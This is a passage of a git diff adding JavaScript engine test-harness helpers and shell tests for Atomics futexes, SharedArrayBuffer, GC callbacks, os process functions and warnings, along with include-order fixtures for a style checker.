+ promise.then(r => { result = r; },
+ e => { caught = true; error = e; });
+ drainJobQueue();
+ if (caught)
+ throw error;
+ return result;
+ }
+
+ function assertEventuallyEq(promise, expected) {
+ assertEq(getPromiseResult(promise), expected);
+ }
+ global.assertEventuallyEq = assertEventuallyEq;
+
+ function assertEventuallyThrows(promise, expectedErrorType) {
+ assertThrowsInstanceOf(() => getPromiseResult(promise), expectedErrorType);
+ };
+ global.assertEventuallyThrows = assertEventuallyThrows;
+
+ function assertEventuallyDeepEq(promise, expected) {
+ assertDeepEq(getPromiseResult(promise), expected);
+ };
+ global.assertEventuallyDeepEq = assertEventuallyDeepEq;
+})(this);
+
+var STATUS = "STATUS: ";
+
+var gDelayTestDriverEnd = false;
+
+var gTestcases = new Array();
+var gTc = gTestcases.length;
+var summary = '';
+var description = '';
+var expected = '';
+var actual = '';
+var msg = '';
+
+/*
+ * constant strings
+ */
+var GLOBAL = this + '';
+
+var DESCRIPTION;
+var EXPECTED;
+
+/*
+ * Signals to results.py that the current test case should be considered to
+ * have passed if it doesn't throw an exception.
+ *
+ * When the test suite is run in the browser, this function gets overridden by
+ * the same-named function in browser.js.
+ */
+function testPassesUnlessItThrows() {
+ print(PASSED);
+}
+
+/*
+ * wrapper for test case constructor that doesn't require the SECTION
+ * argument.
+ */
+
+function AddTestCase( description, expect, actual ) {
+ new TestCase( SECTION, description, expect, actual );
+}
+
+function TestCase(n, d, e, a)
+{
+ this.name = n;
+ this.description = d;
+ this.expect = e;
+ this.actual = a;
+ this.passed = getTestCaseResult(e, a);
+ this.reason = '';
+ this.bugnumber = typeof(BUGNUMER) != 'undefined' ? BUGNUMBER : '';
+ this.type = (typeof window == 'undefined' ? 'shell' : 'browser');
+ ({}).constructor.defineProperty(
+ gTestcases,
+ gTc++,
+ {
+ value: this,
+ enumerable: true,
+ configurable: true,
+ writable: true
+ }
+ );
+}
+
+gFailureExpected = false;
+
+TestCase.prototype.dump = function () {
+ // let reftest handle error reporting, otherwise
+ // output a summary line.
+ if (typeof document != "object" ||
+ !document.location.href.match(/jsreftest.html/))
+ {
+ dump('\njstest: ' + this.path + ' ' +
+ 'bug: ' + this.bugnumber + ' ' +
+ 'result: ' + (this.passed ? 'PASSED':'FAILED') + ' ' +
+ 'type: ' + this.type + ' ' +
+ 'description: ' + toPrinted(this.description) + ' ' +
+// 'expected: ' + toPrinted(this.expect) + ' ' +
+// 'actual: ' + toPrinted(this.actual) + ' ' +
+ 'reason: ' + toPrinted(this.reason) + '\n');
+ }
+};
+
+TestCase.prototype.testPassed = (function TestCase_testPassed() { return this.passed; });
+TestCase.prototype.testFailed = (function TestCase_testFailed() { return !this.passed; });
+TestCase.prototype.testDescription = (function TestCase_testDescription() { return this.description + ' ' + this.reason; });
+
+function getTestCases()
+{
+ return gTestcases;
+}
+
+/*
+ * The test driver searches for such a phrase in the test output.
+ * If such phrase exists, it will set n as the expected exit code.
+ */
+function expectExitCode(n)
+{
+ print('--- NOTE: IN THIS TESTCASE, WE EXPECT EXIT CODE ' + n + ' ---');
+}
+
+/*
+ * Statuses current section of a test
+ */
+function inSection(x)
+{
+ return "Section " + x + " of test - ";
+}
+
+/*
+ * Report a failure in the 'accepted' manner
+ */
+function reportFailure (msg)
+{
+ var lines = msg.split ("\n");
+ var l;
+ var funcName = currentFunc();
+ var prefix = (funcName) ? "[reported from " + funcName + "] ": "";
+
+ for (var i=0; i<lines.length; i++)
+ print (FAILED + prefix + lines[i]);
+}
+
+/*
+ * Print a non-failure message.
+ */
+function printStatus (msg)
+{
+/* js1_6 had...
+ msg = String(msg);
+ msg = msg.toString();
+*/
+ msg = msg.toString();
+ var lines = msg.split ("\n");
+ var l;
+
+ for (var i=0; i<lines.length; i++)
+ print (STATUS + lines[i]);
+}
+
+/*
+ * Print a bugnumber message.
+ */
+function printBugNumber (num)
+{
+ BUGNUMBER = num;
+ print ('BUGNUMBER: ' + num);
+}
+
+function toPrinted(value)
+{
+ value = String(value);
+ value = value.replace(/\\n/g, 'NL')
+ .replace(/\n/g, 'NL')
+ .replace(/\\r/g, 'CR')
+ .replace(/[^\x20-\x7E]+/g, escapeString);
+ return value;
+}
+
+function escapeString (str)
+{
+ var a, b, c, d;
+ var len = str.length;
+ var result = "";
+ var digits = ["0", "1", "2", "3", "4", "5", "6", "7",
+ "8", "9", "A", "B", "C", "D", "E", "F"];
+
+ for (var i=0; i<len; i++)
+ {
+ var ch = str.charCodeAt(i);
+
+ a = digits[ch & 0xf];
+ ch >>= 4;
+ b = digits[ch & 0xf];
+ ch >>= 4;
+
+ if (ch)
+ {
+ c = digits[ch & 0xf];
+ ch >>= 4;
+ d = digits[ch & 0xf];
+
+ result += "\\u" + d + c + b + a;
+ }
+ else
+ {
+ result += "\\x" + b + a;
+ }
+ }
+
+ return result;
+}
+
+/*
+ * Compare expected result to actual result, if they differ (in value and/or
+ * type) report a failure. If description is provided, include it in the
+ * failure report.
+ */
+function reportCompare (expected, actual, description) {
+ var expected_t = typeof expected;
+ var actual_t = typeof actual;
+ var output = "";
+
+ if (typeof description == "undefined")
+ description = '';
+
+ if (expected_t != actual_t) {
+ output += "Type mismatch, expected type " + expected_t +
+ ", actual type " + actual_t + " ";
+ }
+
+ if (expected != actual) {
+ output += "Expected value '" + toPrinted(expected) +
+ "', Actual value '" + toPrinted(actual) + "' ";
+ }
+
+ var testcase = new TestCase("unknown-test-name", description, expected, actual);
+ testcase.reason = output;
+
+ // if running under reftest, let it handle result reporting.
+ if (typeof document != "object" ||
+ !document.location.href.match(/jsreftest.html/)) {
+ if (testcase.passed)
+ {
+ print(PASSED + description);
+ }
+ else
+ {
+ reportFailure (description + " : " + output);
+ }
+ }
+ return testcase.passed;
+}
+
+/*
+ * Attempt to match a regular expression describing the result to
+ * the actual result, if they differ (in value and/or
+ * type) report a failure. If description is provided, include it in the
+ * failure report.
+ */
+function reportMatch (expectedRegExp, actual, description) {
+ var expected_t = "string";
+ var actual_t = typeof actual;
+ var output = "";
+
+ if (typeof description == "undefined")
+ description = '';
+
+ if (expected_t != actual_t) {
+ output += "Type mismatch, expected type " + expected_t +
+ ", actual type " + actual_t + " ";
+ }
+
+ var matches = expectedRegExp.test(actual);
+ if (!matches) {
+ output += "Expected match to '" + toPrinted(expectedRegExp) +
+ "', Actual value '" + toPrinted(actual) + "' ";
+ }
+
+ var testcase = new TestCase("unknown-test-name", description, true, matches);
+ testcase.reason = output;
+
+ // if running under reftest, let it handle result reporting.
+ if (typeof document != "object" ||
+ !document.location.href.match(/jsreftest.html/)) {
+ if (testcase.passed)
+ {
+ print(PASSED + description);
+ }
+ else
+ {
+ reportFailure (description + " : " + output);
+ }
+ }
+ return testcase.passed;
+}
+
+/*
+ * An xorshift pseudo-random number generator see:
+ * https://en.wikipedia.org/wiki/Xorshift#xorshift.2A
+ * This generator will always produce a value, n, where
+ * 0 <= n <= 255
+ */
+function *XorShiftGenerator(seed, size) {
+ let x = seed;
+ for (let i = 0; i < size; i++) {
+ x ^= x >> 12;
+ x ^= x << 25;
+ x ^= x >> 27;
+ yield x % 256;
+ }
+}
+
+function compareSource(expect, actual, summary)
+{
+ // compare source
+ var expectP = expect.
+ replace(/([(){},.:\[\]])/mg, ' $1 ').
+ replace(/(\w+)/mg, ' $1 ').
+ replace(/<(\/)? (\w+) (\/)?>/mg, '<$1$2$3>').
+ replace(/\s+/mg, ' ').
+ replace(/new (\w+)\s*\(\s*\)/mg, 'new $1');
+
+ var actualP = actual.
+ replace(/([(){},.:\[\]])/mg, ' $1 ').
+ replace(/(\w+)/mg, ' $1 ').
+ replace(/<(\/)? (\w+) (\/)?>/mg, '<$1$2$3>').
+ replace(/\s+/mg, ' ').
+ replace(/new (\w+)\s*\(\s*\)/mg, 'new $1');
+
+ print('expect:\n' + expectP);
+ print('actual:\n' + actualP);
+
+ reportCompare(expectP, actualP, summary);
+
+ // actual must be compilable if expect is?
+ try
+ {
+ var expectCompile = 'No Error';
+ var actualCompile;
+
+ eval(expect);
+ try
+ {
+ eval(actual);
+ actualCompile = 'No Error';
+ }
+ catch(ex1)
+ {
+ actualCompile = ex1 + '';
+ }
+ reportCompare(expectCompile, actualCompile,
+ summary + ': compile actual');
+ }
+ catch(ex)
+ {
+ }
+}
+
+function optionsInit() {
+
+ // record initial values to support resetting
+ // options to their initial values
+ options.initvalues = {};
+
+ // record values in a stack to support pushing
+ // and popping options
+ options.stackvalues = [];
+
+ var optionNames = options().split(',');
+
+ for (var i = 0; i < optionNames.length; i++)
+ {
+ var optionName = optionNames[i];
+ if (optionName)
+ {
+ options.initvalues[optionName] = '';
+ }
+ }
+}
+
+function optionsClear() {
+
+ // turn off current settings
+ // except jit.
+ var optionNames = options().split(',');
+ for (var i = 0; i < optionNames.length; i++)
+ {
+ var optionName = optionNames[i];
+ if (optionName &&
+ optionName != "methodjit" &&
+ optionName != "methodjit_always" &&
+ optionName != "ion")
+ {
+ options(optionName);
+ }
+ }
+}
+
+function optionsPush()
+{
+ var optionsframe = {};
+
+ options.stackvalues.push(optionsframe);
+
+ var optionNames = options().split(',');
+
+ for (var i = 0; i < optionNames.length; i++)
+ {
+ var optionName = optionNames[i];
+ if (optionName)
+ {
+ optionsframe[optionName] = '';
+ }
+ }
+
+ optionsClear();
+}
+
+function optionsPop()
+{
+ var optionsframe = options.stackvalues.pop();
+
+ optionsClear();
+
+ for (optionName in optionsframe)
+ {
+ options(optionName);
+ }
+
+}
+
+function optionsReset() {
+
+ try
+ {
+ optionsClear();
+
+ // turn on initial settings
+ for (var optionName in options.initvalues)
+ {
+ if (!options.hasOwnProperty(optionName))
+ continue;
+ options(optionName);
+ }
+ }
+ catch(ex)
+ {
+ print('optionsReset: caught ' + ex);
+ }
+
+}
+
+if (typeof options == 'function')
+{
+ optionsInit();
+ optionsClear();
+}
+
+function getTestCaseResult(expected, actual)
+{
+ if (typeof expected != typeof actual)
+ return false;
+ if (typeof expected != 'number')
+ // Note that many tests depend on the use of '==' here, not '==='.
+ return actual == expected;
+
+ // Distinguish NaN from other values. Using x != x comparisons here
+ // works even if tests redefine isNaN.
+ if (actual != actual)
+ return expected != expected;
+ if (expected != expected)
+ return false;
+
+ // Tolerate a certain degree of error.
+ if (actual != expected)
+ return Math.abs(actual - expected) <= 1E-10;
+
+ // Here would be a good place to distinguish 0 and -0, if we wanted
+ // to. However, doing so would introduce a number of failures in
+ // areas where they don't seem important. For example, the WeekDay
+ // function in ECMA-262 returns -0 for Sundays before the epoch, but
+ // the Date functions in SpiderMonkey specified in terms of WeekDay
+ // often don't. This seems unimportant.
+ return true;
+}
+
+function test() {
+ for ( gTc=0; gTc < gTestcases.length; gTc++ ) {
+ // temporary hack to work around some unknown issue in 1.7
+ try
+ {
+ gTestcases[gTc].passed = writeTestCaseResult(
+ gTestcases[gTc].expect,
+ gTestcases[gTc].actual,
+ gTestcases[gTc].description +" = "+ gTestcases[gTc].actual );
+ gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value ";
+ }
+ catch(e)
+ {
+ print('test(): empty testcase for gTc = ' + gTc + ' ' + e);
+ }
+ }
+ return ( gTestcases );
+}
+
+/*
+ * Begin printing functions. These functions use the shell's
+ * print function. When running tests in the browser, browser.js
+ * overrides these functions to write to the page.
+ */
+
+function writeTestCaseResult( expect, actual, string ) {
+ var passed = getTestCaseResult( expect, actual );
+ // if running under reftest, let it handle result reporting.
+ if (typeof document != "object" ||
+ !document.location.href.match(/jsreftest.html/)) {
+ writeFormattedResult( expect, actual, string, passed );
+ }
+ return passed;
+}
+
+function writeHeaderToLog( string ) {
+ print( string );
+}
+/* end of print functions */
+
+
+function jsTestDriverEnd()
+{
+ // gDelayTestDriverEnd is used to
+ // delay collection of the test result and
+ // signal to Spider so that tests can continue
+ // to run after page load has fired. They are
+ // responsible for setting gDelayTestDriverEnd = true
+ // then when completed, setting gDelayTestDriverEnd = false
+ // then calling jsTestDriverEnd()
+
+ if (gDelayTestDriverEnd)
+ {
+ return;
+ }
+
+ try
+ {
+ optionsReset();
+ }
+ catch(ex)
+ {
+ dump('jsTestDriverEnd ' + ex);
+ }
+
+ for (var i = 0; i < gTestcases.length; i++)
+ {
+ gTestcases[i].dump();
+ }
+
+}
diff --git a/js/src/tests/shell/README b/js/src/tests/shell/README
new file mode 100644
index 000000000..0c7a3d149
--- /dev/null
+++ b/js/src/tests/shell/README
@@ -0,0 +1 @@
+Tests for JS shell-only functions
diff --git a/js/src/tests/shell/futex-apis.js b/js/src/tests/shell/futex-apis.js
new file mode 100644
index 000000000..b3e0acd55
--- /dev/null
+++ b/js/src/tests/shell/futex-apis.js
@@ -0,0 +1,113 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if (!(this.SharedArrayBuffer && this.Atomics)) {
+ reportCompare(true,true);
+ quit(0);
+}
+
+// Checks for parameter validation of wait/wake API. All of these test
+// cases should throw exceptions during parameter validation, before
+// we check whether any waiting should be done.
+
+let ab = new ArrayBuffer(16);
+let sab = new SharedArrayBuffer(16);
+
+//////////////////////////////////////////////////////////////////////
+//
+// The view must be an Int32Array on a SharedArrayBuffer.
+
+// Check against non-TypedArray cases.
+
+{
+ let values = [null,
+ undefined,
+ true,
+ false,
+ new Boolean(true),
+ 10,
+ 3.14,
+ new Number(4),
+ "Hi there",
+ new Date,
+ /a*utomaton/g,
+ { password: "qumquat" },
+ new DataView(new ArrayBuffer(10)),
+ new ArrayBuffer(128),
+ new SharedArrayBuffer(128),
+ new Error("Ouch"),
+ [1,1,2,3,5,8],
+ ((x) => -x),
+ new Map(),
+ new Set(),
+ new WeakMap(),
+ new WeakSet(),
+ this.Promise ? new Promise(() => "done") : null,
+ Symbol("halleluja"),
+ // TODO: Proxy?
+ Object,
+ Int32Array,
+ Date,
+ Math,
+ Atomics ];
+
+ for ( let i=0 ; i < values.length ; i++ ) {
+ let view = values[i];
+ assertThrowsInstanceOf(() => Atomics.wait(view, 0, 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.wake(view, 0), TypeError);
+ }
+}
+
+// Check against TypedArray on non-shared memory cases.
+
+{
+ let views = [Int8Array, Uint8Array, Int16Array, Uint16Array, Int32Array, Uint32Array];
+
+ for ( let View of views ) {
+ let view = new View(ab);
+
+ assertThrowsInstanceOf(() => Atomics.wait(view, 0, 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.wake(view, 0), TypeError);
+ }
+}
+
+// Check against TypedArray on shared memory, but wrong view type
+
+{
+ let views = [Int8Array, Uint8Array, Int16Array, Uint16Array, Uint32Array,
+ Uint8ClampedArray, Float32Array, Float64Array];
+
+ for ( let View of views ) {
+ let view = new View(sab);
+
+ assertThrowsInstanceOf(() => Atomics.wait(view, 0, 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.wake(view, 0), TypeError);
+ }
+}
+
+//////////////////////////////////////////////////////////////////////
+//
+// The indices must be in the range of the array
+
+{
+ let view = new Int32Array(sab);
+
+ let indices = [ (view) => -1,
+ (view) => view.length,
+ (view) => view.length*2,
+ (view) => undefined,
+ (view) => '3.5',
+ (view) => { password: "qumquat" } ];
+
+ for ( let iidx=0 ; iidx < indices.length ; iidx++ ) {
+ let Idx = indices[iidx](view);
+ assertThrowsInstanceOf(() => Atomics.wait(view, Idx, 10), RangeError);
+ assertThrowsInstanceOf(() => Atomics.wake(view, Idx), RangeError);
+ }
+}
+
+reportCompare(true,true);
diff --git a/js/src/tests/shell/futex.js b/js/src/tests/shell/futex.js
new file mode 100644
index 000000000..b0951f12e
--- /dev/null
+++ b/js/src/tests/shell/futex.js
@@ -0,0 +1,160 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if (!(this.SharedArrayBuffer && this.getSharedArrayBuffer && this.setSharedArrayBuffer)) {
+ reportCompare(true,true);
+ quit(0);
+}
+
+var DEBUG = false;
+
+function dprint(s) {
+ if (DEBUG) print(s);
+}
+
+// Tests the SharedArrayBuffer mailbox in the shell.
+// Tests the wait/wake functionality in the shell.
+
+var sab = new SharedArrayBuffer(12);
+var mem = new Int32Array(sab);
+
+// SharedArrayBuffer mailbox tests
+
+assertEq(getSharedArrayBuffer(), null); // Mbx starts empty
+
+assertEq(setSharedArrayBuffer(mem.buffer), undefined); // Setter returns undefined
+assertEq(getSharedArrayBuffer() == null, false); // And then the mbx is not empty
+
+var v = getSharedArrayBuffer();
+assertEq(v.byteLength, mem.buffer.byteLength); // Looks like what we put in?
+var w = new Int32Array(v);
+mem[0] = 314159;
+assertEq(w[0], 314159); // Shares memory (locally) with what we put in?
+mem[0] = 0;
+
+setSharedArrayBuffer(null); // Setting to null clears to null
+assertEq(getSharedArrayBuffer(), null);
+
+setSharedArrayBuffer(mem.buffer);
+setSharedArrayBuffer(undefined); // Setting to undefined clears to null
+assertEq(getSharedArrayBuffer(), null);
+
+setSharedArrayBuffer(mem.buffer);
+setSharedArrayBuffer(); // Setting without arguments clears to null
+assertEq(getSharedArrayBuffer(), null);
+
+// Only SharedArrayBuffer can be stored in the mbx
+
+assertThrowsInstanceOf(() => setSharedArrayBuffer({x:10, y:20}), Error);
+assertThrowsInstanceOf(() => setSharedArrayBuffer([1,2]), Error);
+assertThrowsInstanceOf(() => setSharedArrayBuffer(new ArrayBuffer(10)), Error);
+assertThrowsInstanceOf(() => setSharedArrayBuffer(new Int32Array(10)), Error);
+assertThrowsInstanceOf(() => setSharedArrayBuffer(false), Error);
+assertThrowsInstanceOf(() => setSharedArrayBuffer(3.14), Error);
+assertThrowsInstanceOf(() => setSharedArrayBuffer(mem), Error);
+assertThrowsInstanceOf(() => setSharedArrayBuffer("abracadabra"), Error);
+assertThrowsInstanceOf(() => setSharedArrayBuffer(() => 37), Error);
+
+// Futex test
+
+if (helperThreadCount() === 0) {
+ // Abort if there is no helper thread.
+ reportCompare(true,true);
+ quit();
+}
+
+////////////////////////////////////////////////////////////
+
+// wait() returns "not-equal" if the value is not the expected one.
+
+mem[0] = 42;
+
+assertEq(Atomics.wait(mem, 0, 33), "not-equal");
+
+// wait() returns "timed-out" if it times out
+
+assertEq(Atomics.wait(mem, 0, 42, 100), "timed-out");
+
+////////////////////////////////////////////////////////////
+
+// Main is sharing the buffer with the worker; the worker is clearing
+// the buffer.
+
+mem[0] = 42;
+mem[1] = 37;
+mem[2] = DEBUG;
+
+setSharedArrayBuffer(mem.buffer);
+
+evalInWorker(`
+var mem = new Int32Array(getSharedArrayBuffer());
+function dprint(s) {
+ if (mem[2]) print(s);
+}
+assertEq(mem[0], 42); // what was written in the main thread
+assertEq(mem[1], 37); // is read in the worker
+mem[1] = 1337;
+dprint("Sleeping for 2 seconds");
+sleep(2);
+dprint("Waking the main thread now");
+setSharedArrayBuffer(null);
+assertEq(Atomics.wake(mem, 0, 1), 1); // Can fail spuriously but very unlikely
+`);
+
+var then = Date.now();
+assertEq(Atomics.wait(mem, 0, 42), "ok");
+dprint("Woke up as I should have in " + (Date.now() - then)/1000 + "s");
+assertEq(mem[1], 1337); // what was written in the worker is read in the main thread
+assertEq(getSharedArrayBuffer(), null); // The worker's clearing of the mbx is visible
+
+////////////////////////////////////////////////////////////
+
+// Test the default argument to atomics.wake()
+
+setSharedArrayBuffer(mem.buffer);
+
+evalInWorker(`
+var mem = new Int32Array(getSharedArrayBuffer());
+sleep(2); // Probably long enough to avoid a spurious error next
+assertEq(Atomics.wake(mem, 0), 1); // Last argument to wake should default to +Infinity
+`);
+
+var then = Date.now();
+dprint("Main thread waiting on wakeup (2s)");
+assertEq(Atomics.wait(mem, 0, 42), "ok");
+dprint("Woke up as I should have in " + (Date.now() - then)/1000 + "s");
+
+////////////////////////////////////////////////////////////
+
+// A tricky case: while in the wait there will be an interrupt, and in
+// the interrupt handler we will execute a wait. This is
+// explicitly prohibited (for now), so there should be a catchable exception.
+
+var exn = false;
+timeout(2, function () {
+ dprint("In the interrupt, starting inner wait with timeout 2s");
+ try {
+ Atomics.wait(mem, 0, 42); // Should throw
+ } catch (e) {
+ dprint("Got the interrupt exception!");
+ exn = true;
+ }
+ return true;
+});
+try {
+ dprint("Starting outer wait");
+ assertEq(Atomics.wait(mem, 0, 42, 5000), "timed-out");
+}
+finally {
+ timeout(-1);
+}
+assertEq(exn, true);
+
+////////////////////////////////////////////////////////////
+
+dprint("Done");
+reportCompare(true,true);
diff --git a/js/src/tests/shell/gcstats.js b/js/src/tests/shell/gcstats.js
new file mode 100644
index 000000000..6343b56bb
--- /dev/null
+++ b/js/src/tests/shell/gcstats.js
@@ -0,0 +1,60 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function garbage() {
+ var x;
+ for (var i = 0; i < 100000; i++)
+ x = { 'i': i };
+}
+
+setGCCallback({
+ action: "majorGC",
+ depth: 1,
+ phases: "both"
+});
+
+gc();
+garbage();
+
+setGCCallback({
+ action: "majorGC",
+ depth: 2,
+ phases: "both"
+});
+
+gc();
+garbage();
+
+setGCCallback({
+ action: "majorGC",
+ depth: 10,
+ phases: "begin"
+});
+
+gc();
+garbage();
+
+setGCCallback({
+ action: "minorGC",
+ phases: "both"
+});
+
+gc();
+garbage();
+
+var caught = false;
+try {
+ setGCCallback({
+ action: "majorGC",
+ depth: 10000,
+ phases: "begin"
+ });
+} catch (e) {
+ caught = ((""+e).indexOf("Nesting depth too large") >= 0);
+}
+
+reportCompare(caught, true);
diff --git a/js/src/tests/shell/os.js b/js/src/tests/shell/os.js
new file mode 100644
index 000000000..06e08f683
--- /dev/null
+++ b/js/src/tests/shell/os.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!xulRuntime.shell||xulRuntime.OS=="WINNT")
+/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var pid = os.getpid();
+assertEq(pid > 0, true);
+
+var PATH = os.getenv("PATH");
+assertEq(PATH.indexOf("bin") > 0, true);
+assertEq(os.getenv("SQUAMMISH_HILLBILLY_GOAT_SQUEEZERS"), undefined);
+
+assertEq(os.system("true"), 0, "/bin/true should exit 0");
+assertEq(os.system("false") != 0, true, "/bin/false should exit nonzero");
+
+var kidpid = os.spawn("sleep 60");
+assertEq(kidpid > 0, true, "spawning sleep");
+var info = os.waitpid(kidpid, true);
+assertEq(info.hasOwnProperty("pid"), false);
+assertEq(info.hasOwnProperty("exitStatus"), false);
+
+os.kill(kidpid);
+
+info = os.waitpid(kidpid);
+assertEq(info.hasOwnProperty("pid"), true, "waiting on dead process should return pid");
+assertEq(info.pid, kidpid);
+assertEq(info.hasOwnProperty("exitStatus"), false, "killed process should not have exitStatus");
+
+kidpid = os.spawn("false");
+assertEq(kidpid > 0, true, "spawning /bin/false");
+info = os.waitpid(kidpid);
+assertEq(info.hasOwnProperty("pid"), true, "waiting on dead process should return pid");
+assertEq(info.pid, kidpid);
+assertEq(info.hasOwnProperty("exitStatus"), true, "process should have exitStatus");
+assertEq(info.exitStatus, 1, "/bin/false should exit 1");
+
+reportCompare(true, true);
diff --git a/js/src/tests/shell/shell.js b/js/src/tests/shell/shell.js
new file mode 100644
index 000000000..7584133da
--- /dev/null
+++ b/js/src/tests/shell/shell.js
@@ -0,0 +1,4 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
diff --git a/js/src/tests/shell/warning.js b/js/src/tests/shell/warning.js
new file mode 100644
index 000000000..550c10bc5
--- /dev/null
+++ b/js/src/tests/shell/warning.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+var BUGNUMBER = 1170716;
+var summary = 'Add js shell functions to get last warning';
+
+print(BUGNUMBER + ": " + summary);
+
+// Warning with JSEXN_SYNTAXERR.
+
+enableLastWarning();
+options("strict");
+eval(`var a; if (a=0) {}`);
+
+warning = getLastWarning();
+assertEq(warning !== null, true);
+assertEq(warning.name, "SyntaxError");
+assertEq(warning.message.includes("equality"), true);
+assertEq(warning.lineNumber, 1);
+assertEq(warning.columnNumber, 14);
+
+// Disabled.
+
+disableLastWarning();
+
+eval(`var a; if (a=0) {}`);
+
+enableLastWarning();
+warning = getLastWarning();
+assertEq(warning, null);
+
+disableLastWarning();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/style/BadIncludes.h b/js/src/tests/style/BadIncludes.h
new file mode 100644
index 000000000..8db124d0e
--- /dev/null
+++ b/js/src/tests/style/BadIncludes.h
@@ -0,0 +1,11 @@
+// Note: the #if/#elif conditions are to get past the #include order checking.
+#if A
+#include "tests/style/BadIncludes.h" // bad: self-include
+#include "tests/style/BadIncludes2.h" // ok
+#elif B
+#include "BadIncludes2.h" // bad: not a full path
+#elif C
+#include <tests/style/BadIncludes2.h> // bad: <> form used for local file
+#elif D
+#include "stdio.h" // bad: "" form used for system file
+#endif
diff --git a/js/src/tests/style/BadIncludes2-inl.h b/js/src/tests/style/BadIncludes2-inl.h
new file mode 100644
index 000000000..bc4f7729b
--- /dev/null
+++ b/js/src/tests/style/BadIncludes2-inl.h
@@ -0,0 +1 @@
+// (this file is deliberately empty)
diff --git a/js/src/tests/style/BadIncludes2.h b/js/src/tests/style/BadIncludes2.h
new file mode 100644
index 000000000..1623c1ddc
--- /dev/null
+++ b/js/src/tests/style/BadIncludes2.h
@@ -0,0 +1 @@
+#include "tests/style/BadIncludes2-inl.h" // bad: vanilla header #includes an inline-header
diff --git a/js/src/tests/style/BadIncludesOrder-inl.h b/js/src/tests/style/BadIncludesOrder-inl.h
new file mode 100644
index 000000000..865c84568
--- /dev/null
+++ b/js/src/tests/style/BadIncludesOrder-inl.h
@@ -0,0 +1,30 @@
+// Note: Each #if scope gets checked separately.
+
+// These are in reverse order!
+#if A
+# include "vm/Interpreter-inl.h"
+# include "jsscriptinlines.h"
+# include "js/Value.h"
+# include "ds/LifoAlloc.h"
+# include "jsapi.h"
+# include <stdio.h>
+# include "mozilla/HashFunctions.h"
+#endif
+
+// These are in reverse order, but it's ok due to the #if scopes.
+#if B
+# include "vm/Interpreter-inl.h"
+# if C
+# include "js/Value.h"
+# if D
+# include "jsapi.h"
+# endif
+# include <stdio.h>
+# endif
+# include "mozilla/HashFunctions.h"
+#endif
+
+#include "jsobj.h"
+#include "jsfun.h" // out of order
+#include "jsscript.h"
+#include "jstypes.h"
diff --git a/js/src/tests/style/HeaderCycleA1.h b/js/src/tests/style/HeaderCycleA1.h
new file mode 100644
index 000000000..d70e08f01
--- /dev/null
+++ b/js/src/tests/style/HeaderCycleA1.h
@@ -0,0 +1 @@
+#include "tests/style/HeaderCycleA2.h"
diff --git a/js/src/tests/style/HeaderCycleA2.h b/js/src/tests/style/HeaderCycleA2.h
new file mode 100644
index 000000000..d42dbe3d5
--- /dev/null
+++ b/js/src/tests/style/HeaderCycleA2.h
@@ -0,0 +1 @@
+#include "tests/style/HeaderCycleA3.h"
diff --git a/js/src/tests/style/HeaderCycleA3.h b/js/src/tests/style/HeaderCycleA3.h
new file mode 100644
index 000000000..01a72ecd8
--- /dev/null
+++ b/js/src/tests/style/HeaderCycleA3.h
@@ -0,0 +1 @@
+#include "tests/style/HeaderCycleA1.h"
diff --git a/js/src/tests/style/HeaderCycleB1-inl.h b/js/src/tests/style/HeaderCycleB1-inl.h
new file mode 100644
index 000000000..f89dc8530
--- /dev/null
+++ b/js/src/tests/style/HeaderCycleB1-inl.h
@@ -0,0 +1 @@
+#include "tests/style/HeaderCycleB2-inl.h"
diff --git a/js/src/tests/style/HeaderCycleB2-inl.h b/js/src/tests/style/HeaderCycleB2-inl.h
new file mode 100644
index 000000000..4ba083047
--- /dev/null
+++ b/js/src/tests/style/HeaderCycleB2-inl.h
@@ -0,0 +1,2 @@
+#include "tests/style/HeaderCycleB3-inl.h"
+#include "tests/style/HeaderCycleB4-inl.h"
diff --git a/js/src/tests/style/HeaderCycleB3-inl.h b/js/src/tests/style/HeaderCycleB3-inl.h
new file mode 100644
index 000000000..9963b460c
--- /dev/null
+++ b/js/src/tests/style/HeaderCycleB3-inl.h
@@ -0,0 +1 @@
+#include "tests/style/HeaderCycleB4-inl.h"
diff --git a/js/src/tests/style/HeaderCycleB4-inl.h b/js/src/tests/style/HeaderCycleB4-inl.h
new file mode 100644
index 000000000..23324c676
--- /dev/null
+++ b/js/src/tests/style/HeaderCycleB4-inl.h
@@ -0,0 +1,2 @@
+#include "tests/style/jsheadercycleB5inlines.h"
+#include "tests/style/HeaderCycleB1-inl.h"
diff --git a/js/src/tests/style/jsheadercycleB5inlines.h b/js/src/tests/style/jsheadercycleB5inlines.h
new file mode 100644
index 000000000..92a54cf53
--- /dev/null
+++ b/js/src/tests/style/jsheadercycleB5inlines.h
@@ -0,0 +1 @@
+#include "tests/style/HeaderCycleB1-inl.h"
diff --git a/js/src/tests/supporting/README b/js/src/tests/supporting/README
new file mode 100644
index 000000000..477b216b6
--- /dev/null
+++ b/js/src/tests/supporting/README
@@ -0,0 +1,9 @@
+================================
